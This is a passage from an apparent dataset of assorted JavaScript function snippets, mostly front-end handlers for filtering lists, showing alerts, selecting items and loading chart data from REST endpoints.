onDialogOk);\\r\\n inclusionDialog.addEventListener('load', onDialogLoad);\\r\\n inclusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\\r\\n inclusionDialog.init();\\r\\n}\",\n \"chooseData() {\\n // ******* TODO: PART I *******\\n //Changed the selected data when a user selects a different\\n // menu item from the drop down.\\n\\n }\",\n \"chooseData() {\\n // ******* TODO: PART I *******\\n //Changed the selected data when a user selects a different\\n // menu item from the drop down.\\n\\n }\",\n \"function incidentsContentViewModel() {\\r\\n var self = this;\\r\\n self.loadIncident = function (data) {\\r\\n console.log(data);\\r\\n history.pushState(null, '', 'index.html?root=incident&id=' + data);\\r\\n oj.Router.sync();\\r\\n };\\r\\n\\r\\n self.getUrl = function () {\\r\\n var urlParams = config.url + 'alerts/';\\r\\n urlParams = urlParams + \\\"?loc=\\\" + rootViewModel.currentLocationID();\\r\\n urlParams = urlParams + \\\"&type=\\\" + self.alertType();\\r\\n urlParams = urlParams + \\\"&start=\\\" + self.start;\\r\\n urlParams = urlParams + \\\"&end=\\\" + self.end;\\r\\n return urlParams;\\r\\n };\\r\\n\\r\\n self.alertType = ko.observable('Temp');\\r\\n\\r\\n self.setAlertType = function (alertType) {\\r\\n console.log(alertType);\\r\\n self.alertType(alertType);\\r\\n self.loadData();\\r\\n };\\r\\n\\r\\n self.ready = ko.observable(false);\\r\\n var rootViewModel = ko.dataFor(document.getElementById('globalBody'));\\r\\n self.currentLocation = ko.observable();\\r\\n\\r\\n self.incidents = ko.observableArray();\\r\\n self.tempTotal = ko.observable(0);\\r\\n self.energyTotal = ko.observable(0);\\r\\n self.otherTotal = ko.observable(0);\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n // self.prod = rootViewModel.prod();\\r\\n self.prod = true;\\r\\n\\r\\n\\r\\n\\r\\n /*Load Data*/\\r\\n self.loadData = function () {\\r\\n return new Promise(function (resolve, reject) {\\r\\n\\r\\n if (self.prod) {\\r\\n url = self.getUrl();\\r\\n console.log(url)\\r\\n } else {\\r\\n url = 'js/data/mock/incidents.json';\\r\\n }\\r\\n\\r\\n jsonData.fetchData(url).then(function (incidents) {\\r\\n self.incidents.removeAll();\\r\\n \\r\\n if(self.alertType()==='Temp'){\\r\\n self.tempTotal(incidents.length) \\r\\n }\\r\\n \\r\\n if(self.alertType()==='Energy'){\\r\\n self.energyTotal(incidents.length) \\r\\n }\\r\\n \\r\\n \\r\\n self.incidents(incidents);\\r\\n self.ready(true);\\r\\n resolve(true);\\r\\n }).fail(function (error) {\\r\\n console.log(error);\\r\\n resolve(false);\\r\\n });\\r\\n });\\r\\n\\r\\n };\\r\\n\\r\\n /*Location Change*/\\r\\n self.locationChange = ko.computed(function () {\\r\\n // self.currentLocation(rootViewModel.currentLocationID());\\r\\n // self.loadData();\\r\\n });\\r\\n\\r\\n self.start = moment().subtract(6, 'days');\\r\\n self.end = moment();\\r\\n self.dateText = ko.observable();\\r\\n\\r\\n\\r\\n\\r\\n self.handleAttached = function () {\\r\\n $(\\\"#reportrange\\\").daterangepicker({startDate: self.start,\\r\\n endDate: self.end,\\r\\n ranges: {\\r\\n 'Today': [moment(), moment()],\\r\\n 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],\\r\\n 'Last 7 Days': [moment().subtract(6, 'days'), moment()],\\r\\n 'Last 30 Days': [moment().subtract(29, 'days'), moment()],\\r\\n 'This Month': [moment().startOf('month'), moment().endOf('month')],\\r\\n 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]\\r\\n }\\r\\n }, self.datePicked);\\r\\n };\\r\\n\\r\\n // $('#reportrange span').html(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'));\\r\\n\\r\\n self.datePicked = function (start, end) {\\r\\n // console.log(moment(start).unix(), moment(end).unix());\\r\\n self.start = start;\\r\\n self.end = end;\\r\\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\\r\\n self.loadData();\\r\\n };\\r\\n\\r\\n// self.datePicked(self.start, self.end);\\r\\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\\r\\n self.loadData();\\r\\n }\",\n \"handleReadAlert(alert) {\\n }\",\n \"alertmanagers() {\\r\\n return this.request('GET', 'alertmanagers');\\r\\n }\",\n \"loadStaticActivity(e) {\\n \\n var myClick = document.getElementById('filterText'); \\n myClick.value = e;\\n myClick.addEventListener('change',function(){ \\n this.store.set({ filter: e })\\n }); \\n myClick.dispatchEvent(new Event('change'));\\n \\n }\",\n \"function popup1() {\\nalert(\\\"Filter text box provides the user to filter out the sessions which respond true for the corresponding user query for which the filter option is being run.\\\");\\n}\",\n \"function onFilter() {\\n \\n if(store.fromDate === null || store.toDate === null) {\\n return;\\n }\\n \\n el.innerHTML = loader();\\n \\n store.headers = {\\n name: 'Name',\\n symbol: 'Symbol',\\n avg_price: 'Avg Price',\\n volume: 'volume',\\n change: 'change %'\\n }\\n \\n setTimeout(function() {\\n el.innerHTML = null;\\n document.getElementById('filter-message').innerHTML = _filters();\\n _renderStocks()\\n }, 1000)\\n \\n \\n \\n}\",\n \"function dataRequestFromFilters(filtObj){\\n $(\\\"#filters\\\").on(\\\"change\\\", \\\"select\\\", function() {\\n $(\\\".mdl-spinner\\\").addClass(\\\"is-active\\\");\\n $.get(filtObj.url, function(data) {\\n \\n outputFilteredRows(data);\\n })\\n .always(function() {\\n $(\\\".mdl-spinner\\\").removeClass(\\\"is-active\\\");\\n });\\n });\\n}\",\n \"function filterHandler(){\\n $(\\\"#filter-btn\\\").on(\\\"click\\\", function(){\\n let selection = $(\\\"#sort\\\").val();\\n if(selection === \\\"oldest\\\" || selection === \\\"newest\\\" || selection === \\\"rating\\\"){\\n if(!getIds().length) return;\\n let ids = getIds();\\n $.get(\\\"/kimochis/filter\\\", \\n {selection: selection, name: localStorage.getItem(\\\"inputText\\\")}, function(data){\\n $(\\\"#main\\\").html(data);\\n $(\\\"#more-btn\\\").attr({\\\"disabled\\\": false, \\\"hidden\\\": false});\\n });\\n }\\n });\\n}\",\n \"componentDidMount() {\\n this.onShowPlaceholder()\\n // add emitter event listener\\n // filter and keep only the ones that are 'downloaded'\\n Subscriptions.push(\\n mrEmitter.addListener('onUpdateData', (updateData) => {\\n // adding selected property to tableData\\n let tempData = updateData.filter(this.filterDownloader)\\n for (let cData of tempData) {\\n cData.selected = false\\n }\\n this.setState({tableData: tempData})\\n this.onShowPlaceholderTimeout = setTimeout(() => {\\n this.onShowPlaceholder()\\n }, 300)\\n }),\\n // close the toolbar\\n mrEmitter.addListener('onCloseToolbar', () => this.onAllChecked('', false))\\n )\\n }\",\n \"function initToolSearch(e){\\n\\t\\t\\t//get toggle for sold or unsold listings\\n\\t\\t\\tlet toggleNum = 1;\\n\\t\\t\\tif(toggle === false){\\n\\t\\t\\t\\ttoggleNum = - 1;\\n\\t\\t\\t}else{\\n\\t\\t\\t\\ttoggleNum = 1;\\n\\t\\t\\t}\\n\\t\\t\\tlet searchVal = toolSearch.value.toLowerCase() || '';\\n\\t\\t\\ttableBody.innerHTML = '';\\n\\n\\t\\t\\t//display table data of filtered tools. with event listeners for each element\\n\\t\\t\\ttoolData.then( (tools)=>{\\n\\t\\t\\ttools.filter( (tool)=>{\\n\\t\\t\\t\\t//String of all the tool categories to search through for a match\\n\\t\\t\\t\\tlet name = tool.name.toLowerCase();\\n\\t\\t\\t\\tlet info = tool.description.toLowerCase();\\n\\t\\t\\t\\tlet brand = tool.brand.toLowerCase();\\n\\t\\t\\t\\tlet toolid = tool.id;\\n\\t\\t\\t\\tlet tool_condition = tool.tool_condition.toLowerCase();\\n\\t\\t\\t\\tlet toolsInfo = name + ' ' + info + ' ' + brand + ' ' + tool_condition + ' ' + toolid;\\n\\t\\t\\t\\tif(searchVal !== \\\"\\\"){\\n\\t\\t\\t\\t\\treturn toolsInfo.match(searchVal);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tconsole.log('no input text');\\n\\t\\t\\t\\treturn tool;\\n\\t\\t\\t\\t\\n\\t\\t\\t}).filter((tools)=>{\\n\\t\\t\\t\\t//return only not sold tools\\n\\t\\t\\t\\treturn tools.sold == toggleNum;\\n\\t\\t\\t}).map( (tool) => {\\n\\t\\t\\t\\tif(tool.max_price === '0'){\\n\\t\\t\\t\\t\\ttoolMaxPrice = '';\\n\\t\\t\\t\\t}else{\\n\\t\\t\\t\\t\\ttoolMaxPrice = ' - ' + tool.max_price;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\ttableBody.innerHTML += `\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.name} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.brand} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.type} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.description} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.tool_condition} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.price} ${toolMaxPrice}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t ${tool.id} \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t`;\\n\\t\\t\\t});\\n\\t\\t}).then(\\n\\t\\t\\tfunction(){\\n\\t\\t\\t\\tfor (var i = update.length - 1; i >= 0; i--) {\\n\\t\\t\\t\\t\\tupdate[i].parentElement.addEventListener('dblclick', dblClickHandleUpdate);\\n\\t\\t\\t\\t\\t//update[i].parentElement.addEventListener('click', handleUpdate);\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t);\\n\\t}\",\n \"function employeesContentViewModel() {\\n var self = this;\\n var data = [{name: \\\"Have Sleep Problems\\\", shape: \\\"human\\\", count: 7, colour: \\\"#ed6647\\\"},\\n {name: \\\"Sleep Well\\\", shape: \\\"human\\\", count: 3}];\\n\\n self.getColor = function (index) {\\n return index === 0 ? '#ed6647' : '';\\n };\\n //self.dataProvider = ko.observableArray(data);\\n self.dataProvider = new ArrayDataProvider(data, {keyAttributes: 'value'});\\n\\n self.handleNestedOpen = function () {\\n document.querySelector('#outerDialog').open();\\n };\\n self.handleOpen = function (event) {\\n var ui = event.detail;\\n //AnimationUtils['slideIn'](ui.element).then(ui.endCallback);\\n document.querySelector('#innerDialog').open();\\n };\\n self.handleOKClose = function () {\\n document.querySelector('#outerDialog').close();\\n };\\n self.handleOKClose2 = function () {\\n document.querySelector('#innerDialog').close();\\n };\\n\\n\\n self.fuelTypes = [{name: 'Bio-Diesel', abbr: 'BD'},\\n {name: 'Compressed Natural Gas', abbr: 'CNG'},\\n {name: 'Electric Charging', abbr: 'ELEC'},\\n {name: 'Ethanol', abbr: 'E85'},\\n {name: 'Hydrogen & Fuel Cell', abbr: 'HY'},\\n {name: 'Liquefied Natural Gas', abbr: 'LNG'},\\n {name: 'Liquefied Petroleum Gas', abbr: 'LPG'}\\n ];\\n\\n //self.handleActivated = function (info) {\\n self.cityVal = ko.observable('San Jose');\\n self.chartType = ko.observable('pie');\\n self.selectVal = ko.observableArray(['CA']);\\n self.pieSeriesValue = ko.observableArray([]);\\n self.groupsValue = ko.observableArray(['Fuel Types']);\\n self.seriesValue = ko.observable();\\n\\n // provide list of states for use in the select pulldown\\n self.States = [\\n {label: 'ALABAMA', value: 'AL'},\\n {label: 'ALASKA', value: 'AK'},\\n {label: 'AMERICAN SAMOA', value: 'AS'},\\n {label: 'ARIZONA', value: 'AZ'},\\n {label: 'ARKANSAS', value: 'AR'},\\n {label: 'CALIFORNIA', value: 'CA'},\\n {label: 'COLORADO', value: 'CO'},\\n {label: 'CONNECTICUT', value: 'CT'},\\n {label: 'DELAWARE', value: 'DE'},\\n {label: 'DISTRICT OF COLUMBIA', value: 'DC'},\\n {label: 'FEDERATED STATES OF MICRONESIA', value: 'FM'},\\n {label: 'FLORIDA', value: 'FL'},\\n {label: 'GEORGIA', value: 'GA'},\\n {label: 'GUAM', value: 'GU'},\\n {label: 'HAWAII', value: 'HI'},\\n {label: 'IDAHO', value: 'ID'},\\n {label: 'ILLINOIS', value: 'IL'},\\n {label: 'INDIANA', value: 'IN'},\\n {label: 'IOWA', value: 'IA'},\\n {label: 'KANSAS', value: 'KS'},\\n {label: 'KENTUCKY', value: 'KY'},\\n {label: 'LOUISIANA', value: 'LA'},\\n {label: 'MAINE', value: 'ME'},\\n {label: 'MARSHALL ISLANDS', value: 'MH'},\\n {label: 'MARYLAND', value: 'MD'},\\n {label: 'MASSACHUSETTS', value: 'MA'},\\n {label: 'MICHIGAN', value: 'MI'},\\n {label: 'MINNESOTA', value: 'MN'},\\n {label: 'MISSISSIPPI', value: 'MS'},\\n {label: 'MISSOURI', value: 'MO'},\\n {label: 'MONTANA', value: 'MT'},\\n {label: 'NEBRASKA', value: 'NE'},\\n {label: 'NEVADA', value: 'NV'},\\n {label: 'NEW HAMPSHIRE', value: 'NH'},\\n {label: 'NEW JERSEY', value: 'NJ'},\\n {label: 'NEW MEXICO', value: 'NM'},\\n {label: 'NEW YORK', value: 'NY'},\\n {label: 'NORTH CAROLINA', value: 'NC'},\\n {label: 'NORTH DAKOTA', value: 'ND'},\\n {label: 'NORTHERN MARIANA ISLANDS', value: 'MP'},\\n {label: 'OHIO', value: 'OH'},\\n {label: 'OKLAHOMA', value: 'OK'},\\n {label: 'OREGON', value: 'OR'},\\n {label: 'PALAU', value: 'PW'},\\n {label: 'PENNSYLVANIA', value: 'PA'},\\n {label: 'PUERTO RICO', value: 'PR'},\\n {label: 'RHODE ISLAND', value: 'RI'},\\n {label: 'SOUTH CAROLINA', value: 'SC'},\\n {label: 'SOUTH DAKOTA', value: 'SD'},\\n {label: 'TENNESSEE', value: 'TN'},\\n {label: 'TEXAS', value: 'TX'},\\n {label: 'UTAH', value: 'UT'},\\n {label: 'VERMONT', value: 'VT'},\\n {label: 'VIRGIN ISLANDS', value: 'VI'},\\n {label: 'VIRGINIA', value: 'VA'},\\n {label: 'WASHINGTON', value: 'WA'},\\n {label: 'WEST VIRGINIA', value: 'WV'},\\n {label: 'WISCONSIN', value: 'WI'},\\n {label: 'WYOMING', value: 'WY'}\\n ];\\n\\n self.getData = function () {\\n // using a Promise to allow the chart to render only once the data is available.\\n self.seriesValue(new Promise(function (resolve, reject) {\\n var url = \\\"https://api.data.gov/nrel/alt-fuel-stations/v1/nearest.json?location=\\\" + self.cityVal() + \\\"+\\\" + self.selectVal() + \\\"&api_key=\\\"\\n $.getJSON(url).then(function (data) {\\n var fuels = data.station_counts.fuels;\\n var seriesData = [];\\n for (var prop in fuels) {\\n if (fuels[prop].total > 0) {\\n seriesData.push({name: getFuelName(prop), items: [fuels[prop].total]})\\n }\\n }\\n resolve(seriesData);\\n });\\n }))\\n };\\n\\n // get the long name of the fuel type from the abbreviate returned by the REST service\\n var getFuelName = function (prop) {\\n for (var i in fuelTypes) {\\n if (fuelTypes[i].abbr === prop)\\n return fuelTypes[i].name;\\n }\\n }\\n //};\\n\\n\\n self.handleAttached = function (info) {\\n // once the DOM is available, call the getData to load defaults\\n self.getData();\\n };\\n\\n\\n }\",\n \"beforeFirstRender() {\\n // this._selectObserver = observe(() => {\\n // const entries = Array.from(this.checklistModel.selectedEntries, entry => {\\n // console.log(entry.item.name);\\n // return entry.item.name;\\n // });\\n // this._selectedItemsText = entries.join(', ');\\n // });\\n }\",\n \"function selectHandler() {\\n var selectedItem = chart.getSelection()[0];\\n if (selectedItem) {\\n var value = data.getValue(selectedItem.row, 0);\\n openPopup(value);\\n // console.log('The user selected - ' + value);\\n }\\n }\",\n \"function getAlert() {\\n return randomSelect([true, false]);\\n}\",\n \"function filterChange() {\\n updateFilter();\\n pullEvents();\\n //put events in page\\n}\",\n \"onResultSelected() {\\n const result = document.activeElement;\\n if (this.ux.results !== result.parentElement)\\n return;\\n this.publish(\\\"selectresult\\\", JSON.parse(result.dataset.d));\\n }\",\n \"function xcustom_makeActionOnObjectSelection() {\\r\\n var currentSelectedObject = xcustom_getCurrentSelectedObject();\\r\\n if (null === currentSelectedObject) {\\r\\n // console.log('Nothing Selected...');\\r\\n xcustom_resetAndClosePanelSelectedObjectContent();\\r\\n $('#xcustom-div-right-panel').hide();\\r\\n return;\\r\\n }\\r\\n // console.log('The Selected Object Is : ', currentSelectedObject);\\r\\n xcustom_showSelectedObjectDataOnViewer(currentSelectedObject);\\r\\n}\",\n \"function alertContents() {\\n\\tif(httpRequest.readyState === 4) {\\n\\t\\tif (httpRequest.status === 200) {\\n\\t\\t\\tJSONObj = JSON.parse(httpRequest.responseText);\\n\\t\\t} else {\\n\\t\\t\\talert('There was a problem with the request.'); \\n\\t\\t}\\n\\t}\\n\\tJSONObj = filter(JSONObj);\\n\\tgenerateGistList(JSONObj); \\n}\",\n \"function OnSelect(sender: Object, e: RoutedEventArgs) {\\n\\t\\t\\ttry {\\n\\t\\t\\t\\tSelectRow();\\n\\t\\t\\t\\tDashboardTaskService.Current.CloseTask(runner);\\n\\t\\t\\t} catch (ex: Exception) {\\n\\t\\t\\t\\tConfirmDialog.ShowErrorDialog(\\\"Script\\\", ex);\\n\\t\\t\\t}\\n\\t\\t}\",\n \"selectProduct(select) {\\n //get products by name\\n this.productService.getProductByName(select.option.value).subscribe(data => {\\n let product = data.payload.doc.data();\\n product[`doc_id`] = data.payload.doc.id;\\n //open selected product in modal\\n this.openDialog(product);\\n this.clearSearch();\\n });\\n }\",\n \"function loadPageDealAll(msg) {\\n if(!cache.show_capped_alert) {\\n return true;\\n }\\n cache.show_capped_alert = false;\\n bootbox.alert({\\n closeButton: false,\\n message: 'No records are found for \\\"' + msg + '\\\".
    Please click Ok to go to see the complete list (All).',\\n title: 'Alert',\\n callback: function () {\\n var AllEle = $(\\\"#menu_wraper\\\").find('.item-list-detail:contains(\\\"All\\\"):first');\\n AllEle.trigger('click');\\n }\\n });\\n }\",\n \"function showStatus() {\\n\\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\\n\\n if (banderas.banderaTodoSeleccionado == 0) {\\n if (Calles.length == 0) {\\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\\n }\\n else {\\n modalStatus();\\n }\\n }\\n else if (banderas.banderaTodoSeleccionado == 1) {\\n modalStatus();\\n }\\n }\\n }\",\n \"function filterResult() {\\n\\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\\n\\t$('.btn-group').on('click', \\t\\t\\t\\t\\t\\t\\n\\tfunction(event){\\n\\t\\tif (event.target.id === \\\"all\\\") {\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").show(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse if (event.target.id === \\\"online\\\") {\\n\\t\\t\\t$(\\\".offline\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").show(\\\"slow\\\");\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\t$(\\\".not-exist\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".online\\\").hide(\\\"slow\\\");\\n\\t\\t\\t$(\\\".offline\\\").show(\\\"slow\\\");\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\\n $nyplAlerts.getGlobalAlerts().then(function (data) {\\n var alerts = $rootScope.alerts || data;\\n $rootScope.alerts =\\n nyplAlertsService.filterAlerts(alerts, {current: true});\\n $nyplAlerts.alerts = $rootScope.alerts || data;\\n }).catch(function (error) {\\n throw error;\\n });\\n }\",\n \"function viewFilters() {\\n let text = '';\\n filterArray.forEach(item => (text = text + '\\\\n\\\\t' + item));\\n let statusText = disabled ? 'disabled' : 'enabled';\\n alert('Installed Filters (currently' + statusText + '):' + text);\\n}\",\n \"function initFirstFilter(){\\n var firstFilterWrap = getComponent('first-filter');\\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\\n\\n [].forEach.call(filterArrays,function (item) {\\n item.addEventListener('click',selected)\\n })\\n\\n function selected(e){\\n if(this.firstElementChild.classList.contains('selected')){\\n return;\\n }\\n removeSelected();\\n console.log(e);\\n this.firstElementChild.classList.add('selected');\\n if(this.innerText === 'All'){\\n window.firstFilterStatus = 0;\\n }else if(this.innerText === 'Active'){\\n window.firstFilterStatus = 1;\\n }else{\\n window.firstFilterStatus = 2;\\n }\\n update();\\n }\\n\\n function removeSelected(){\\n [].forEach.call(filterArrays,function (item) {\\n if(item.firstElementChild.classList.contains('selected')){\\n item.firstElementChild.classList.remove('selected');\\n }\\n })\\n }\\n}\",\n \"function bindSelect() {\\n initializeTimeFunction();\\n extent = brush.extent(); //data of selection\\n userTimeData = [];\\n\\n extent.forEach(function (element) {\\n var t = String(element.getTime() / 1000 * 1000);\\n userTimeData.push(t);\\n });\\n\\n if ($scope.fingerPrintsMode) {\\n clearFingerprintHeatmap();\\n $scope.showFingerprintHeatmap();\\n document.getElementById(\\\"fingerPrints-mode\\\").classList.add('quickaction-selected');\\n }\\n\\n if ($scope.radioHeatmapRSSMode) {\\n clearFingerprintCoverage();\\n $scope.showFingerprintCoverage();\\n $scope.radioHeatmapRSSMode = true;\\n if (typeof (Storage) !== \\\"undefined\\\" && localStorage) {\\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\\n }\\n $scope.anyService.radioHeatmapRSSMode = true;\\n document.getElementById(\\\"radioHeatmapRSS-mode\\\").classList.add('quickaction-selected');\\n }\\n }\",\n \"constructor() {\\n riot.observable(this);\\n this.listenToSelectedUpdate();\\n }\",\n \"function showSLASummary() {\\n\\tvar grid = View.panels.get('slaList');\\n\\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\\n\\t\\t\\tgrid.rows[grid.selectedRowIndex].row);\\n}\",\n \"function filterTypeSelection(e){\\n if(e.target.value === ''){\\n getInventory()\\n } else {\\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\\n .then(res => setItems(res.data))\\n .catch(err => alert(err))\\n }\\n }\",\n \"function onShowDetail(element) {\\r\\n try {\\r\\n var dataId = jQuery(element).attr('data-id');\\r\\n\\r\\n g_currentOperation = dataId;\\r\\n\\r\\n if (!dataId || dataId.length <= 0) {\\r\\n dataId = WotpUtilityCommon.CurrentOperations.None;\\r\\n }\\r\\n\\r\\n //passing the filter info to load detail data\\r\\n loadDataDetail(dataId);\\r\\n\\r\\n } catch (e) {\\r\\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\\r\\n }\\r\\n}\",\n \"function createAlert() {\\n\\tvar local_current_hash = 0;\\n\\n\\tif ((local_current_hash = save_search()) != false) {\\n\\t\\t// activation de l'alerte\\n\\t\\tswitch_alert_from_search('', local_current_hash);\\n\\t\\t$('#popupCreateAlert').popup('open');\\n\\t}\\n\\telse {\\n\\t\\t$('#popupAlreadyExistsAlert').popup('open');\\n\\t}\\n}\",\n \"function filterData(data) {\\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\\n var pageFilter = alertSelf.attr('data-alert-filter');\\n\\n var jsonObj = {};\\n jsonObj['alerts'] = [];\\n\\n for (var i=0; i< data.alerts.length; i++) {\\n var alertMsg = data.alerts[i];\\n\\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\\n && isOnPage(alertMsg, pageFilter)\\n && isOnTime(alertMsg))\\n {\\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\\n 'backgroundColor' : alertMsg.backgroundColor,\\n 'textColor' : alertMsg.textColor});\\n }\\n }\\n\\n return jsonObj;\\n }\",\n \"function refreshProductsView() {\\n let filteredProducts = filterByCountryName(products, countrySelect.value);\\n filteredProducts = filterByName(filteredProducts, searchInput.value);\\n filteredProducts = sortList(filteredProducts, sortSelect.value);\\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\\n\\n renderProducts(filteredProducts);\\n}\",\n \"function _eventTableAllNotificationClicked(e)\\n{\\n\\ttry\\n\\t{\\n\\t\\tif (Alloy.Globals.currentWindow == \\\"winMyServices\\\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\\n\\t\\t\\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\\n\\t\\t\\t\\n\\t\\tvar nTypeId = e.row.nTypeId;\\n\\t\\tif (nTypeId==\\\"5\\\"){\\n\\t\\t\\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\\n\\t\\t\\t\\n\\t\\t\\t/*var userid = Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\");\\n\\t\\t\\t\\tuserid = (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName);*/\\n\\t\\t\\t\\t\\n\\t\\t\\thttpManager.markNotificationMessageAsRead(function(response){\\n\\t\\t\\t\\t\\tif (response=='1')\\n\\t\\t\\t\\t\\t\\t$.tableviewAllNotifications.deleteRow(e.index);\\n\\t\\t\\t\\t\\tvar data = {\\\"response\\\":\\\"\\\", \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"idToExpand\\\":e.row.nTypeIdVal, \\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"isNoRecord\\\":\\\"\\\" , \\n\\t\\t\\t\\t\\t\\t\\t\\turl : \\\"\\\"};\\n\\t\\t\\t\\t\\tAlloy.Globals.openWindow(Alloy.createController(\\\"Services/MyServices/winMyServices\\\", data).getView());\\n\\t\\t\\t\\t},e.row.messageId, (Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\") == null ? 0 : Ti.App.Properties.getObject(\\\"LoginDetaisObj\\\").userName));\\n\\t\\t}else{\\n\\t\\t\\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\\n\\t}\\n\\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\\n}\",\n \"onGetAll() {\\n console.log('getAll action triggered')\\n }\",\n \"componentDidLoad() {\\n this.getRenderedTabItems().filter(item => {\\n if (item['active']) {\\n this.dtmTabTitle = item['tabTitle'];\\n this.emitAnalyticsData();\\n }\\n });\\n }\",\n \"_refresh() {\\r\\n\\t\\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\\r\\n\\r\\n\\t\\tthis._div.innerHTML = \\\"\\\";\\r\\n\\t\\tconst alerts = this._alertModel.getCurrentAlerts();\\r\\n\\t\\tfor(let i = 0; i < alerts.length; ++i) {\\r\\n\\t\\t\\tthis._addAlert(alerts[i]);\\r\\n\\t\\t}\\r\\n\\t}\",\n \"openOnwerFilter(){\\n\\n var selected = this.template.querySelector(\\\".selected-owner\\\");\\n var optionsContainer = this.template.querySelector(\\\".options-container-owner\\\");\\n var optionsList =this.template.querySelectorAll(\\\".option-owner\\\");\\n selected.addEventListener(\\\"click\\\", () => {\\n optionsContainer.classList.toggle(\\\"active\\\");\\n }); \\n //selected.addEventListener(\\\"click\\\", () => {\\n //});\\n\\n /* optionsList.forEach(o => {\\n o.addEventListener(\\\"click\\\", () => {\\n selected.innerHTML = o.querySelector(\\\"label\\\").innerHTML;\\n optionsContainer.classList.remove(\\\"active\\\");\\n });\\n });\\n */\\n }\",\n \"_handleClick()\\n {\\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\\n }\",\n \"setAlertCloseToday(){\\n \\n \\n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\\n\\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\\n \\n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\\n if( eventac.datestartevent == aujourdhuiplus3 ){\\n this.addAlertCloseToday(eventac);\\n \\n }\\n \\n }\\n \\n }\",\n \"function onChangeGoodList(){\\n\\t\\t\\t\\n\\t\\t\\tif ($(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().length > 0){\\n\\t\\t\\t\\tvar tr = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").select().closest(\\\"tr\\\");\\n \\t\\t\\tvar dataItem = $(\\\"#goodsListPopupGrid\\\").data(\\\"kendoGrid\\\").dataItem(tr);\\n \\t\\t\\t\\n \\t\\t\\tvm.orderGoodsDetailSearch = dataItem;\\n \\t\\t\\t$(\\\"#goodsCodeAndNameCreExtNote\\\").text(vm.orderGoodsDetailSearch.goodsCode+\\\" \\\"+vm.orderGoodsDetailSearch.goodsName);\\n\\t\\t\\t\\t\\n \\t\\t\\tvar grid = $(\\\"#goodsDetailGrid\\\").data(\\\"kendoGrid\\\");\\t\\n \\t\\t\\tif(grid){\\n \\t\\t\\t\\tgrid.dataSource.query({\\n \\t\\t\\t\\t\\tpage: 1,\\n 